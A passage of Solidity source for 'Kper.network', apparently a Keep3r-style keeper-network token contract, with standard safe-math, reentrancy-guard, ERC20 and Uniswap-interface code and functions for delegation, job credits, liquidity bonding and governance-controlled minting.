* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "mod: %");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{value:amount}("");
require(success, "Address: reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: < 0");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: !contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: !succeed");
}
}
}
library KperNetworkLibrary {
function getReserve(address pair, address reserve) external view returns (uint) {
(uint _r0, uint _r1,) = IUniswapV2Pair(pair).getReserves();
if (IUniswapV2Pair(pair).token0() == reserve) {
return _r0;
} else if (IUniswapV2Pair(pair).token1() == reserve) {
return _r1;
} else {
return 0;
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IGovernance {
function proposeJob(address job) external;
}
interface IKperNetworkHelper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
contract KperNetwork is ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
/// @notice KperNetwork Helper to set max prices for the ecosystem
IKperNetworkHelper public KPRH;
/// @notice EIP-20 token name for this token
string public constant name = "Kper.network";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "KPER";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 0; // Initial 0
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
mapping (address => mapping (address => uint)) internal allowances;
mapping (address => uint) internal balances;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)");
bytes32 public immutable DOMAINSEPARATOR;
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint votes;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
_delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: sig");
require(nonce == nonces[signatory]++, "delegateBySig: nonce");
require(now <= expiry, "delegateBySig: expired");
_delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint) {
require(blockNumber < block.number, "getPriorVotes:");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint delegatorBalance = votes[delegator].add(bonds[delegator][address(this)]);
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint srcRepNew = srcRepOld.sub(amount, "_moveVotes: underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint amount);
/// @notice Submit a job
event SubmitJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Apply credit to a job
event ApplyCredit(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Remove credit for a job
event RemoveJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Unbond credit for a job
event UnbondJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Added a Job
event JobAdded(address indexed job, uint block, address governance);
/// @notice Removed a job
event JobRemoved(address indexed job, uint block, address governance);
/// @notice Worked a job
event KeeperWorked(address indexed credit, address indexed job, address indexed keeper, uint block, uint amount);
/// @notice Keeper bonding
event KeeperBonding(address indexed keeper, uint block, uint active, uint bond);
/// @notice Keeper bonded
event KeeperBonded(address indexed keeper, uint block, uint activated, uint bond);
/// @notice Keeper unbonding
event KeeperUnbonding(address indexed keeper, uint block, uint deactive, uint bond);
/// @notice Keeper unbound
event KeeperUnbound(address indexed keeper, uint block, uint deactivated, uint bond);
/// @notice Keeper slashed
event KeeperSlashed(address indexed keeper, address indexed slasher, uint block, uint slash);
/// @notice Keeper disputed
event KeeperDispute(address indexed keeper, uint block);
/// @notice Keeper resolved
event KeeperResolved(address indexed keeper, uint block);
event AddCredit(address indexed credit, address indexed job, address indexed creditor, uint block, uint amount);
/// @notice 1 day to bond to become a keeper
uint constant public BOND = 3 days;
/// @notice 14 days to unbond to remove funds from being a keeper
uint constant public UNBOND = 14 days;
/// @notice 3 days till liquidity can be bound
uint constant public LIQUIDITYBOND = 3 days;
/// @notice direct liquidity fee 0.3%
uint constant public FEE = 30;
uint constant public BASE = 10000;
/// @notice address used for ETH transfers
address constant public ETH = address(0xE);
/// @notice tracks all current bondings (time)
mapping(address => mapping(address => uint)) public bondings;
/// @notice tracks all current unbondings (time)
mapping(address => mapping(address => uint)) public unbondings;
/// @notice allows for partial unbonding
mapping(address => mapping(address => uint)) public partialUnbonding;
/// @notice tracks all current pending bonds (amount)
mapping(address => mapping(address => uint)) public pendingbonds;
/// @notice tracks how much a keeper has bonded
mapping(address => mapping(address => uint)) public bonds;
/// @notice tracks underlying votes (that don't have bond)
mapping(address => uint) public votes;
/// @notice total bonded (totalSupply for bonds)
uint public totalBonded = 0;
/// @notice tracks when a keeper was first registered
mapping(address => uint) public firstSeen;
/// @notice tracks if a keeper has a pending dispute
mapping(address => bool) public disputes;
/// @notice tracks last job performed for a keeper
mapping(address => uint) public lastJob;
/// @notice tracks the total job executions for a keeper
mapping(address => uint) public workCompleted;
/// @notice list of all jobs registered for the keeper system
mapping(address => bool) public jobs;
/// @notice the current credit available for a job
mapping(address => mapping(address => uint)) public credits;
/// @notice the balances for the liquidity providers
mapping(address => mapping(address => mapping(address => uint))) public liquidityProvided;
/// @notice liquidity unbonding days
mapping(address => mapping(address => mapping(address => uint))) public liquidityUnbonding;
/// @notice liquidity unbonding amounts
mapping(address => mapping(address => mapping(address => uint))) public liquidityAmountsUnbonding;
/// @notice job proposal delay
mapping(address => uint) public jobProposalDelay;
/// @notice liquidity apply date
mapping(address => mapping(address => mapping(address => uint))) public liquidityApplied;
/// @notice liquidity amount to apply
mapping(address => mapping(address => mapping(address => uint))) public liquidityAmount;
/// @notice list of all current keepers
mapping(address => bool) public keepers;
/// @notice blacklist of keepers not allowed to participate
mapping(address => bool) public blacklist;
/// @notice traversable array of keepers to make external management easier
address[] public keeperList;
/// @notice traversable array of jobs to make external management easier
address[] public jobList;
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
/// @notice the liquidity token supplied by users paying for jobs
mapping(address => bool) public liquidityAccepted;
address[] public liquidityPairs;
uint internal _gasUsed;
constructor(address _kph) public {
// Set governance for this token
governance = msg.sender;
DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this)));
KPRH = IKperNetworkHelper(_kph);
}
/**
* @notice Add ETH credit to a job to be paid out for work
* @param job the job being credited
*/
function addCreditETH(address job) external payable {
require(jobs[job], "addCreditETH: !job");
uint _fee = msg.value.mul(FEE).div(BASE);
credits[job][ETH] = credits[job][ETH].add(msg.value.sub(_fee));
payable(governance).transfer(_fee);
emit AddCredit(ETH, job, msg.sender, block.number, msg.value);
}
/**
* @notice Add credit to a job to be paid out for work
* @param credit the credit being assigned to the job
* @param job the job being credited
* @param amount the amount of credit being added to the job
*/
function addCredit(address credit, address job, uint amount) external nonReentrant {
require(jobs[job], "addCreditETH: !job");
uint _before = IERC20(credit).balanceOf(address(this));
IERC20(credit).safeTransferFrom(msg.sender, address(this), amount);
uint _received = IERC20(credit).balanceOf(address(this)).sub(_before);
uint _fee = _received.mul(FEE).div(BASE);
credits[job][credit] = credits[job][credit].add(_received.sub(_fee));
IERC20(credit).safeTransfer(governance, _fee);
emit AddCredit(credit, job, msg.sender, block.number, _received);
}
/**
* @notice Add non transferable votes for governance
* @param voter to add the votes to
* @param amount of votes to add
*/
function addVotes(address voter, uint amount) external {
require(msg.sender == governance, "addVotes: !gov");
_activate(voter, address(this));
votes[voter] = votes[voter].add(amount);
totalBonded = totalBonded.add(amount);
_moveDelegates(address(0), delegates[voter], amount);
}
/**
* @notice Remove non transferable votes for governance
* @param voter to subtract the votes
* @param amount of votes to remove
*/
function removeVotes(address voter, uint amount) external {
require(msg.sender == governance, "addVotes: !gov");
votes[voter] = votes[voter].sub(amount);
totalBonded = totalBonded.sub(amount);
_moveDelegates(delegates[voter], address(0), amount);
}
/**
* @notice Add credit to a job to be paid out for work
* @param job the job being credited
* @param amount the amount of credit being added to the job
*/
function addKPRCredit(address job, uint amount) external {
require(msg.sender == governance, "addKPRCredit: !gov");
require(jobs[job], "addKPRCredit: !job");
credits[job][address(this)] = credits[job][address(this)].add(amount);
_mint(address(this), amount);
emit AddCredit(address(this), job, msg.sender, block.number, amount);
}
/**
* @notice Approve a liquidity pair for being accepted in future
* @param liquidity the liquidity no longer accepted
*/
function approveLiquidity(address liquidity) external {
require(msg.sender == governance, "approveLiquidity: !gov");
require(!liquidityAccepted[liquidity], "approveLiquidity: !pair");
liquidityAccepted[liquidity] = true;
liquidityPairs.push(liquidity);
}
/**
* @notice Revoke a liquidity pair from being accepted in future
* @param liquidity the liquidity no longer accepted
*/
function revokeLiquidity(address liquidity) external {
require(msg.sender == governance, "revokeLiquidity: !gov");
liquidityAccepted[liquidity] = false;
}
/**
* @notice Displays all accepted liquidity pairs
*/
function pairs() external view returns (address[] memory) {
return liquidityPairs;
}
/**
* @notice Allows liquidity providers to submit jobs
* @param liquidity the liquidity being added
* @param job the job to assign credit to
* @param amount the amount of liquidity tokens to use
*/
function addLiquidityToJob(address liquidity, address job, uint amount) external nonReentrant {
require(liquidityAccepted[liquidity], "addLiquidityToJob: !pair");
IERC20(liquidity).safeTransferFrom(msg.sender, address(this), amount);
liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].add(amount);
liquidityApplied[msg.sender][liquidity][job] = now.add(LIQUIDITYBOND);
liquidityAmount[msg.sender][liquidity][job] = liquidityAmount[msg.sender][liquidity][job].add(amount);
if (!jobs[job] && jobProposalDelay[job] < now) {
IGovernance(governance).proposeJob(job);
jobProposalDelay[job] = now.add(UNBOND);
}
emit SubmitJob(job, liquidity, msg.sender, block.number, amount);
}
/**
* @notice Applies the credit provided in addLiquidityToJob to the job
* @param provider the liquidity provider
* @param liquidity the pair being added as liquidity
* @param job the job that is receiving the credit
*/
function applyCreditToJob(address provider, address liquidity, address job) external {
require(liquidityAccepted[liquidity], "addLiquidityToJob: !pair");
require(liquidityApplied[provider][liquidity][job] != 0, "credit: no bond");
require(liquidityApplied[provider][liquidity][job] < now, "credit: bonding");
uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this));
uint _credit = _liquidity.mul(liquidityAmount[provider][liquidity][job]).div(IERC20(liquidity).totalSupply());
_mint(address(this), _credit);
credits[job][address(this)] = credits[job][address(this)].add(_credit);
liquidityAmount[provider][liquidity][job] = 0;
emit ApplyCredit(job, liquidity, provider, block.number, _credit);
}
/**
* @notice Unbond liquidity for a job
* @param liquidity the pair being unbound
* @param job the job being unbound from
* @param amount the amount of liquidity being removed
*/
function unbondLiquidityFromJob(address liquidity, address job, uint amount) external {
require(liquidityAmount[msg.sender][liquidity][job] == 0, "credit: pending credit");
liquidityUnbonding[msg.sender][liquidity][job] = now.add(UNBOND);
liquidityAmountsUnbonding[msg.sender][liquidity][job] = liquidityAmountsUnbonding[msg.sender][liquidity][job].add(amount);
require(liquidityAmountsUnbonding[msg.sender][liquidity][job] <= liquidityProvided[msg.sender][liquidity][job], "unbondLiquidityFromJob: insufficient funds");
uint _liquidity = KperNetworkLibrary.getReserve(liquidity, address(this));
uint _credit = _liquidity.mul(amount).div(IERC20(liquidity).totalSupply());
if (_credit > credits[job][address(this)]) {
_burn(address(this), credits[job][address(this)]);
credits[job][address(this)] = 0;
} else {
_burn(address(this), _credit);
credits[job][address(this)] = credits[job][address(this)].sub(_credit);
}
emit UnbondJob(job, liquidity, msg.sender, block.number, amount);
}
/**
* @notice Allows liquidity providers to remove liquidity
* @param liquidity the pair being unbound
* @param job the job being unbound from
*/
function removeLiquidityFromJob(address liquidity, address job) external {
require(liquidityUnbonding[msg.sender][liquidity][job] != 0, "removeJob: unbond");
require(liquidityUnbonding[msg.sender][liquidity][job] < now, "removeJob: unbonding");
uint _amount = liquidityAmountsUnbonding[msg.sender][liquidity][job];
liquidityProvided[msg.sender][liquidity][job] = liquidityProvided[msg.sender][liquidity][job].sub(_amount);
liquidityAmountsUnbonding[msg.sender][liquidity][job] = 0;
IERC20(liquidity).safeTransfer(msg.sender, _amount);
emit RemoveJob(job, liquidity, msg.sender, block.number, _amount);
}
/**
* @notice Allows governance to mint new tokens to treasury
* @param amount the amount of tokens to mint to treasury
*/
function mint(uint amount) external {
require(msg.sender == governance, "mint: !gov");
_mint(governance, amount);
}
/**
* @notice burn owned tokens
* @param amount the amount of tokens to burn
*/
function burn(uint amount) external {
_burn(msg.sender, amount);
}
function _mint(address dst, uint amount) internal {
// mint the amount
totalSupply = totalSupply.add(amount);
// transfer the amount to the recipient
balances[dst] = balances[dst].add(amount);
emit Transfer(address(0), dst, amount);
}
function _burn(address dst, uint amount) internal {
require(dst != address(0), "_burn: zero address");
balances[dst] = balances[dst].sub(amount, "_burn: exceeds balance");
totalSupply = totalSupply.sub(amount);
emit Transfer(dst, address(0), amount);
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param keeper address of the keeper that performed the work
*/
function worked(address keeper) external {
workReceipt(keeper, KPRH.getQuoteLimit(_gasUsed.sub(gasleft())));
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param keeper address of the keeper that performed the work
* @param amount the reward that should be allocated
*/
function workReceipt(address keeper, uint amount) public {
require(jobs[msg.sender], "workReceipt: !job");
require(amount <= KPRH.getQuoteLimit(_gasUsed.sub(gasleft())), "workReceipt: max limit");
credits[msg.sender][address(this)] = credits[msg.sender][address(this)].sub(amount, "workReceipt: insuffient funds");
lastJob[keeper] = now;
_reward(keeper, amount);
workCompleted[keeper] = workCompleted[keeper].add(amount);
emit KeeperWorked(address(this), msg.sender, keeper, block.number, amount);
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param credit the asset being awarded to the keeper
* @param keeper address of the keeper that performed the work
* @param amount the reward that should be allocated
*/
function receipt(address credit, address keeper, uint amount) external {
require(jobs[msg.sender], "receipt: !job");
credits[msg.sender][credit] = credits[msg.sender][credit].sub(amount, "workReceipt: insuffient funds");
lastJob[keeper] = now;
IERC20(credit).safeTransfer(keeper, amount);
emit KeeperWorked(credit, msg.sender, keeper, block.number, amount);
}
/**
* @notice Implemented by jobs to show that a keeper performed work
* @param keeper address of the keeper that performed the work
* @param amount the amount of ETH sent to the keeper
*/
function receiptETH(address keeper, uint amount) external {
require(jobs[msg.sender], "receipt: !job");
credits[msg.sender][ETH] = credits[msg.sender][ETH].sub(amount, "workReceipt: insuffient funds");
lastJob[keeper] = now;
payable(keeper).transfer(amount);
emit KeeperWorked(ETH, msg.sender, keeper, block.number, amount);
}
function _reward(address _from, uint _amount) internal {
bonds[_from][address(this)] = bonds[_from][address(this)].add(_amount);
totalBonded = totalBonded.add(_amount);
_moveDelegates(address(0), delegates[_from], _amount);
emit Transfer(msg.sender, _from, _amount);
}
function _bond(address bonding, address _from, uint _amount) internal {
bonds[_from][bonding] = bonds[_from][bonding].add(_amount);
if (bonding == address(this)) {
totalBonded = totalBonded.add(_amount);
_moveDelegates(address(0), delegates[_from], _amount);
}
}
function _unbond(address bonding, address _from, uint _amount) internal {
bonds[_from][bonding] = bonds[_from][bonding].sub(_amount);
if (bonding == address(this)) {
totalBonded = totalBonded.sub(_amount);
_moveDelegates(delegates[_from], address(0), _amount);
}
}
/**
* @notice Allows governance to add new job systems
* @param job address of the contract for which work should be performed
*/
function addJob(address job) external {
require(msg.sender == governance, "addJob: !gov");
require(!jobs[job], "addJob: job known");
jobs[job] = true;
jobList.push(job);
emit JobAdded(job, block.number, msg.sender);
}
/**
* @notice Full listing of all jobs ever added
* @return array blob
*/
function getJobs() external view returns (address[] memory) {
return jobList;
}
/**
* @notice Allows governance to remove a job from the systems
* @param job address of the contract for which work should be performed
*/
function removeJob(address job) external {
require(msg.sender == governance, "removeJob: !gov");
jobs[job] = false;
emit JobRemoved(job, block.number, msg.sender);
}
/**
* @notice Allows governance to change the KperNetworkHelper for max spend
* @param _kprh new helper address to set
*/
